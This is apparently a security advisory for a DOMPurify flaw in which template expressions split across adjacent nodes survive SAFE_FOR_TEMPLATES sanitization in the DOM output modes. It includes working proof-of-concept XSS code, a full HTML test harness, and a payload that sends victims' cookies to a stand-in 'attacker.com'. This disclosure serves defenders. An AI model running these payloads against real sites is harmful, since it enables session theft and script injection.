Vulnerability GHSA-gvmj-g25r-r7wr

Low Risk

3 months ago

DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside <template> content when using DOM output modes

3.0.0 - 3.4.7

Summary

DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside <template> content when using DOM output modes

Details

Summary

When DOMPurify is configured with both SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or IN_PLACE: true), an attacker can inject template expressions, such as ${evil}, {{evil}}, or <%evil%>, that survive the sanitization pass inside <template> element content. This bypasses the explicit purpose of SAFE_FOR_TEMPLATES, which is to prevent template engine evaluation of user-supplied content.

Note: The string output path is not affected. Only the DOM return paths (RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, IN_PLACE: true) are vulnerable.

Proof of Concept

Why the Split Works

The bypass relies on splitting ${...} across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:

Fragment	Against `TMPLIT_EXPR` `/\${[\w\W]*/g`	Against `MUSTACHE_EXPR` `/{{[\w\W]\|^[\w\W]}}/g`	Result
`$`	Requires `${` - no `{` follows	No `{{` or `}}`	Survives
`{alert(document.domain)}`	Requires leading `$` - absent	No `{{`, ends with single `}` not `}}`	Survives
`${alert(document.domain)}`	Full match - would be stripped	-	Stripped if seen whole

DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.

PoC 2 - Session Hijacking via cookie exfiltration

// Splits "${document.location='//attacker.com/?c='+document.cookie}"
// "{document.location=...}" ends with a single "}" — does NOT match
// MUSTACHE_EXPR's "^[\w\W]*}}" (requires double "}}"), so it survives.
const dirty =
  '<template>' +
    '<x-a>$</x-a>' +
    '<x-b>{document.location="//attacker.com/?c="+document.cookie}</x-b>' +
  '</template>';

const sanitized = DOMPurify.sanitize(dirty, {
  RETURN_DOM: true,
  SAFE_FOR_TEMPLATES: true,
});

const tmpl = sanitized.querySelector('template');
tmpl.content.normalize();

console.log(tmpl.content.textContent);
// "${document.location="//attacker.com/?c="+document.cookie}"

// Template engine evaluates it - victim's browser makes the request:
new Function(`return \`${tmpl.content.textContent}\``)();
// !! Redirects victim to attacker.com with their full cookie string !!
// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789

PoC 4 - `IN_PLACE` mode (DOM input path)

// Applicable when the application sanitizes DOM nodes directly
// (e.g., content loaded into an iframe or received from a WebSocket)

const container = document.createElement('div');
const tmpl = document.createElement('template');

// Adjacent text nodes - these would never appear in HTML-parsed content,
// but CAN appear in programmatically constructed DOM or WebSocket messages
// that are deserialised into DOM nodes before sanitisation.
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));
container.appendChild(tmpl);

// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}
DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

// Neither text node was modified - each passed the regex check individually
container.querySelector('template').content.normalize();
console.log(container.querySelector('template').content.textContent);
// "${alert(document.domain)}"  <-- survived in-place sanitization

new Function(`return \`${container.querySelector('template').content.textContent}\``)();
// !! XSS fires !!

HTML File for testing

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <title>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC</title>
  <script src="dist/purify.js"></script>
  <style>
    * { box-sizing: border-box; margin: 0; padding: 0; }
    body {
      font-family: 'Segoe UI', system-ui, sans-serif;
      background: #0d1117;
      color: #e6edf3;
      padding: 32px;
    }
    h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }
    .subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }
    .card {
      background: #161b22;
      border: 1px solid #30363d;
      border-radius: 8px;
      margin-bottom: 24px;
      overflow: hidden;
    }
    .card-header {
      display: flex;
      align-items: center;
      gap: 10px;
      padding: 14px 20px;
      border-bottom: 1px solid #30363d;
      background: #1c2128;
    }
    .badge {
      font-size: 0.72rem;
      font-weight: 700;
      padding: 2px 8px;
      border-radius: 4px;
      text-transform: uppercase;
      letter-spacing: 0.05em;
    }
    .badge-run    { background: #1f6feb; color: #fff; }
    .badge-pass   { background: #238636; color: #fff; }
    .badge-fail   { background: #da3633; color: #fff; }
    .badge-warn   { background: #9e6a03; color: #fff; }
    .card-title   { font-size: 0.95rem; font-weight: 600; }
    .card-body    { padding: 20px; }
    label         { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }
    pre {
      background: #0d1117;
      border: 1px solid #30363d;
      border-radius: 6px;
      padding: 14px;
      font-size: 0.82rem;
      line-height: 1.6;
      overflow-x: auto;
      margin-bottom: 14px;
      white-space: pre-wrap;
      word-break: break-all;
    }
    pre.result    { border-color: #238636; background: #0a1a0f; }
    pre.escaped   { border-color: #da3633; background: #1a0a0a; }
    pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }
    .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }
    @media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }
    .arrow {
      text-align: center;
      font-size: 1.4rem;
      color: #8b949e;
      margin: 4px 0;
    }
    .xss-banner {
      display: none;
      background: #da3633;
      color: #fff;
      text-align: center;
      padding: 16px;
      font-size: 1.1rem;
      font-weight: 700;
      border-radius: 6px;
      margin-bottom: 24px;
      letter-spacing: 0.03em;
    }
    button {
      background: #238636;
      color: #fff;
      border: none;
      padding: 10px 22px;
      border-radius: 6px;
      font-size: 0.9rem;
      font-weight: 600;
      cursor: pointer;
      margin-right: 10px;
      margin-bottom: 8px;
    }
    button:hover { background: #2ea043; }
    button.danger { background: #da3633; }
    button.danger:hover { background: #f85149; }
    .note {
      background: #161b22;
      border-left: 3px solid #9e6a03;
      padding: 12px 16px;
      font-size: 0.82rem;
      color: #e3b341;
      border-radius: 0 6px 6px 0;
      margin-top: 14px;
    }
    #log {
      background: #0d1117;
      border: 1px solid #30363d;
      border-radius: 6px;
      padding: 14px;
      font-size: 0.8rem;
      font-family: monospace;
      min-height: 60px;
      max-height: 300px;
      overflow-y: auto;
      line-height: 1.8;
    }
    .log-ok   { color: #3fb950; }
    .log-fail { color: #f85149; }
    .log-info { color: #8b949e; }
    .log-warn { color: #e3b341; }
  </style>
</head>
<body>

  <h1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass</h1>
  <p class="subtitle">
    CVE candidate · Template expression injection via &lt;template&gt; content ·
    Affects: <code>RETURN_DOM + SAFE_FOR_TEMPLATES</code> and <code>IN_PLACE + SAFE_FOR_TEMPLATES</code>
  </p>

  <div id="xss-banner" class="xss-banner">
    ⚠️ XSS CONFIRMED - Expression executed in this page's context
  </div>

  <!-- ── Controls ─────────────────────────────────────────── -->
  <div class="card">
    <div class="card-header">
      <span class="badge badge-run">Controls</span>
      <span class="card-title">Run individual test cases</span>
    </div>
    <div class="card-body">
      <button onclick="runAll()">▶ Run all tests</button>
      <button onclick="runPoC1()">PoC 1 - alert()</button>
      <button onclick="runPoC2()">PoC 2 - cookie exfil</button>
      <button onclick="runPoC3()">PoC 3 - IN_PLACE</button>
      <button onclick="runControl()">Control - string output (should block)</button>
      <div class="note">
        PoC 1 uses <code>confirm()</code> instead of <code>alert()</code> so the page
        doesn't need a dismiss click to continue. Watch the red banner at the top.
      </div>
    </div>
  </div>

  <!-- ── PoC 1 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc1">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc1">PENDING</span>
      <span class="card-title">PoC 1 - XSS via confirm() · RETURN_DOM mode</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER INPUT - splits <code>${"{confirm(...)}"}</code> across two custom elements</label>
          <pre id="input-poc1"></pre>
        </div>
        <div>
          <label>AFTER DOMPurify.sanitize() - what survived in template.content</label>
          <pre class="result" id="nodes-poc1"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED TEXT NODE - fully formed expression after normalization</label>
      <pre class="highlight" id="merged-poc1"></pre>
      <label>EXECUTION RESULT</label>
      <pre id="exec-poc1">Not run yet</pre>
    </div>
  </div>

  <!-- ── PoC 2 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc2">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc2">PENDING</span>
      <span class="card-title">PoC 2 - Cookie exfiltration · RETURN_DOM mode</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER INPUT - exfil payload split across custom elements</label>
          <pre id="input-poc2"></pre>
        </div>
        <div>
          <label>INDIVIDUAL TEXT NODES after sanitization (each "clean")</label>
          <pre class="result" id="nodes-poc2"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED EXPRESSION - what a template engine would evaluate</label>
      <pre class="highlight" id="merged-poc2"></pre>
      <label>SIMULATED EXECUTION (fetch URL that would be called)</label>
      <pre id="exec-poc2">Not run yet</pre>
      <div class="note">
        Real execution would redirect the victim to
        <code>attacker.com</code> carrying the session cookie.
        This PoC constructs the URL without actually sending it.
      </div>
    </div>
  </div>

  <!-- ── PoC 3 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc3">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc3">PENDING</span>
      <span class="card-title">PoC 3 - XSS · IN_PLACE mode (DOM node input)</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER PROVIDES - a DOM node with programmatically split text nodes</label>
          <pre id="input-poc3"></pre>
        </div>
        <div>
          <label>AFTER IN_PLACE sanitization - text nodes unchanged</label>
          <pre class="result" id="nodes-poc3"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED EXPRESSION</label>
      <pre class="highlight" id="merged-poc3"></pre>
      <label>EXECUTION RESULT</label>
      <pre id="exec-poc3">Not run yet</pre>
    </div>
  </div>

  <!-- ── Control ───────────────────────────────────────────── -->
  <div class="card" id="card-ctrl">
    <div class="card-header">
      <span class="badge badge-run" id="badge-ctrl">PENDING</span>
      <span class="card-title">Control - string output (default) MUST block the payload</span>
    </div>
    <div class="card-body">
      <label>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)</label>
      <pre id="input-ctrl"></pre>
      <div class="arrow">↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓</div>
      <label>OUTPUT STRING - expression should be stripped</label>
      <pre id="output-ctrl">Not run yet</pre>
      <div class="note">
        The string output path is NOT vulnerable because
        <code>body.innerHTML</code> serialises the template content into a
        flat string where the full <code>${"{...}"}</code> expression is visible
        and the final regex scrub catches it.
      </div>
    </div>
  </div>

  <!-- ── Log ───────────────────────────────────────────────── -->
  <div class="card">
    <div class="card-header">
      <span class="badge badge-run">Log</span>
      <span class="card-title">Test output</span>
    </div>
    <div class="card-body">
      <div id="log"></div>
    </div>
  </div>

<script>
// ── Helpers ────────────────────────────────────────────────────────────────

let xssConfirmed = false;

function log(msg, type = 'info') {
  const el = document.getElementById('log');
  const line = document.createElement('div');
  line.className = 'log-' + type;
  line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;
  el.appendChild(line);
  el.scrollTop = el.scrollHeight;
}

function setBadge(id, status) {
  const el = document.getElementById('badge-' + id);
  el.textContent = status;
  el.className = 'badge ' + {
    PASS: 'badge-fail',   // "PASS" here means the attack succeeded (bad for security)
    BLOCK: 'badge-pass',  // "BLOCK" means DOMPurify correctly blocked it
    PENDING: 'badge-run',
    ERROR: 'badge-warn',
  }[status];
}

function markXSS(poc) {
  if (!xssConfirmed) {
    xssConfirmed = true;
    document.getElementById('xss-banner').style.display = 'block';
  }
  log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail');
}

// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────

function runPoC1() {
  log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');

  // IMPORTANT:
  // Build a REAL template DOM node with split TEXT nodes.
  // HTML parsing would merge adjacent text automatically,
  // so we construct the DOM programmatically.

  const container = document.createElement('div');
  const tmpl = document.createElement('template');

  tmpl.content.appendChild(document.createTextNode('$'));
  tmpl.content.appendChild(
    document.createTextNode(
      '{confirm("XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\nExpression executed in: " + document.domain)}'
    )
  );

  container.appendChild(tmpl);

  document.getElementById('input-poc1').textContent =
    'template.content.childNodes[0].data = "$"\\n' +
    'template.content.childNodes[1].data = "{confirm(...)}"';

  // Sanitize the DOM node itself
  const sanitized = DOMPurify.sanitize(container, {
    RETURN_DOM: true,
    SAFE_FOR_TEMPLATES: true,
  });

  const tmplAfter = sanitized.querySelector('template');

  if (!tmplAfter) {
    document.getElementById('exec-poc1').textContent =
      'Template element removed during sanitization';
    setBadge('poc1', 'ERROR');
    return;
  }

  const nodesBefore = [...tmplAfter.content.childNodes].map(
    n => JSON.stringify(n.nodeValue)
  );

  document.getElementById('nodes-poc1').textContent =
    'childNodes[0].data = ' + nodesBefore[0] + '\\n' +
    'childNodes[1].data = ' + nodesBefore[1] + '\\n\\n' +
    '→ Neither fragment matched individually.';

  log(
    'PoC 1: Text nodes after sanitization: ' +
    nodesBefore.join(', '),
    'warn'
  );

  // Merge text nodes
  tmplAfter.content.normalize();

  const merged = tmplAfter.content.textContent;

  document.getElementById('merged-poc1').textContent = merged;

  log('PoC 1: After normalize() - merged text: ' + merged, 'warn');

  try {
    const result = new Function('return `' + merged + '`')();

    document.getElementById('exec-poc1').textContent =
      '✔ Expression executed successfully\\n' +
      'Returned: ' + result;

    setBadge('poc1', 'PASS');
    markXSS('PoC 1');

  } catch (e) {
    document.getElementById('exec-poc1').textContent =
      'Error: ' + e.message;

    setBadge('poc1', 'ERROR');

    log('PoC 1 error: ' + e.message, 'warn');
  }
}

// ── PoC 2: cookie exfiltration ─────────────────────────────────────────────

function runPoC2() {
  log('Running PoC 2 - cookie exfiltration...', 'info');

  // Fake cookie for demonstration
  document.cookie = 'session=DEADBEEF_SECRET_TOKEN; path=/';

  // IMPORTANT:
  // Build REAL split text nodes programmatically.
  // Do NOT rely on HTML parsing.

  const container = document.createElement('div');
  const tmpl = document.createElement('template');

  tmpl.content.appendChild(document.createTextNode('$'));

  tmpl.content.appendChild(
    document.createTextNode(
      '{document.location="//attacker.com/steal?c="+document.cookie}'
    )
  );

  container.appendChild(tmpl);

  document.getElementById('input-poc2').textContent =
    'template.content.childNodes[0].data = "$"\\n' +
    'template.content.childNodes[1].data = "{document.location=...}"';

  // Sanitize DOM node
  const sanitized = DOMPurify.sanitize(container, {
    RETURN_DOM: true,
    SAFE_FOR_TEMPLATES: true,
  });

  const tmplAfter = sanitized.querySelector('template');

  if (!tmplAfter) {
    document.getElementById('exec-poc2').textContent =
      'Template element removed during sanitization';

    setBadge('poc2', 'ERROR');

    log('PoC 2: template element missing after sanitize()', 'warn');

    return;
  }

  const nodes = [...tmplAfter.content.childNodes].map(
    n => JSON.stringify(n.nodeValue)
  );

  document.getElementById('nodes-poc2').textContent =
    'Node 0: ' + nodes[0] + '\\n' +
    'Node 1: ' + nodes[1] + '\\n\\n' +
    '→ Neither fragment individually matches template-expression regexes.';

  log('PoC 2: Nodes after sanitize: ' + nodes.join(', '), 'warn');

  // Merge adjacent text nodes
  tmplAfter.content.normalize();

  const merged = tmplAfter.content.textContent;

  document.getElementById('merged-poc2').textContent = merged;

  log('PoC 2: Merged expression: ' + merged, 'warn');

  // Simulate framework evaluation
  try {
    new Function('return `' + merged + '`')();

    const cookieValue = document.cookie;

    const stealUrl =
      '//attacker.com/steal?c=' +
      encodeURIComponent(cookieValue);

    document.getElementById('exec-poc2').textContent =
      '✔ Expression successfully evaluated\\n\\n' +
      'Would redirect victim to:\\n' +
      stealUrl + '\\n\\n' +
      'Cookie exposed:\\n' +
      cookieValue;

    setBadge('poc2', 'PASS');

    markXSS('PoC 2');

    log('PoC 2: Would exfiltrate cookie → ' + stealUrl, 'fail');

  } catch (e) {
    document.getElementById('exec-poc2').textContent =
      'Error: ' + e.message;

    setBadge('poc2', 'ERROR');

    log('PoC 2 error: ' + e.message, 'warn');
  }
}
// ── PoC 3: IN_PLACE mode ───────────────────────────────────────────────────

function runPoC3() {
  log('Running PoC 3 - IN_PLACE mode...', 'info');

  // Build DOM node manually (simulates attacker-controlled DOM input,
  // e.g. content parsed from a WebSocket message or an iframe)
  const container = document.createElement('div');
  const tmplEl = document.createElement('template');

  // Two separate text nodes - HTML parser merges them, but programmatic
  // DOM construction keeps them split. This is the IN_PLACE attack surface.
  tmplEl.content.appendChild(document.createTextNode('$'));
  tmplEl.content.appendChild(document.createTextNode('{confirm("XSS via IN_PLACE - domain: " + document.domain)}'));
  container.appendChild(tmplEl);

  document.getElementById('input-poc3').textContent =
    '// Programmatically constructed DOM node:\n' +
    'template.content.childNodes[0].data = "$"\n' +
    'template.content.childNodes[1].data = "{confirm(\\"XSS via IN_PLACE...\\")}"\n\n' +
    '// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })';

  // Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression
  DOMPurify.sanitize(container, {
    IN_PLACE: true,
    SAFE_FOR_TEMPLATES: true,
  });

  const tmplAfter = container.querySelector('template');
  const nodesAfter = [...tmplAfter.content.childNodes].map(n => n.nodeValue);
  document.getElementById('nodes-poc3').textContent =
    'childNodes[0].data = ' + JSON.stringify(nodesAfter[0]) + '\n' +
    'childNodes[1].data = ' + JSON.stringify(nodesAfter[1]) + '\n\n' +
    '→ _scrubTemplateExpressions() did not enter template.content\n' +
    '→ Both nodes unchanged after sanitization.';

  log('PoC 3: Nodes after IN_PLACE sanitize: ' + nodesAfter.map(n => JSON.stringify(n)).join(', '), 'warn');

  tmplAfter.content.normalize();
  const merged = tmplAfter.content.textContent;
  document.getElementById('merged-poc3').textContent = merged;

  log('PoC 3: Merged: ' + merged, 'warn');

  try {
    const result = new Function('return `' + merged + '`')();
    document.getElementById('exec-poc3').textContent =
      '✔ new Function() returned: ' + result + '\n' +
      'confirm() dialog shown. XSS confirmed via IN_PLACE mode.';
    setBadge('poc3', 'PASS');
    markXSS('PoC 3');
  } catch (e) {
    document.getElementById('exec-poc3').textContent = 'Error: ' + e.message;
    setBadge('poc3', 'ERROR');
    log('PoC 3 error: ' + e.message, 'warn');
  }
}

// ── Control: string output must block ─────────────────────────────────────

function runControl() {
  log('Running control - string output path (should block)...', 'info');

  const dirty =
    '<template>' +
      '<x-split-1>$</x-split-1>' +
      '<x-split-2>{confirm("this should never fire")}</x-split-2>' +
    '</template>';

  document.getElementById('input-ctrl').textContent = dirty;

  // Default string output - NOT using RETURN_DOM
  const sanitized = DOMPurify.sanitize(dirty, {
    SAFE_FOR_TEMPLATES: true,
    // RETURN_DOM intentionally omitted - string path is safe
  });

  document.getElementById('output-ctrl').textContent = sanitized;

  const blocked = !sanitized.includes('${') && !sanitized.includes('{confirm');
  if (blocked) {
    setBadge('ctrl', 'BLOCK');
    log('Control: String output correctly stripped the expression. Output: ' + sanitized, 'ok');
  } else {
    setBadge('ctrl', 'PASS'); // unexpected
    log('Control: UNEXPECTED - expression survived string output path: ' + sanitized, 'fail');
  }
}

// ── Run all ────────────────────────────────────────────────────────────────

function runAll() {
  document.getElementById('log').innerHTML = '';
  xssConfirmed = false;
  document.getElementById('xss-banner').style.display = 'none';
  log('=== Starting full test run ===', 'info');
  runPoC1();
  runPoC2();
  runPoC3();
  runControl();
  log('=== Test run complete ===', 'info');
}
</script>

</body>
</html>

Impact

Who is affected: Applications that use DOMPurify with SAFE_FOR_TEMPLATES: true combined with RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, or IN_PLACE: true, whose downstream template engine processes <template> element content.

What an attacker can achieve: Inject arbitrary template expressions (${...}, {{...}}, <%...%>) into the sanitized DOM output inside <template> elements. If the consuming template engine evaluates these expressions, this leads to template injection, which in server-side contexts can escalate to Remote Code Execution and in client-side contexts to Cross-Site Scripting.

Preconditions for Exploitation

Precondition	Notes
`SAFE_FOR_TEMPLATES: true`	Non-default - must be explicitly set
`RETURN_DOM: true` or `IN_PLACE: true`	Non-default - must be explicitly set
Template engine processes `<template>.content`	Application-dependent

What Is NOT Affected

The string output path (default) is not affected. The final regex scrub at src/purify.ts:2067–2071 operates on the serialized HTML string, where the injected expression is visible and stripped:

// src/purify.ts:2067 - only runs on string output, not DOM output
if (SAFE_FOR_TEMPLATES) {
  arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
    serializedHTML = stringReplace(serializedHTML, expr, ' ');
  });
}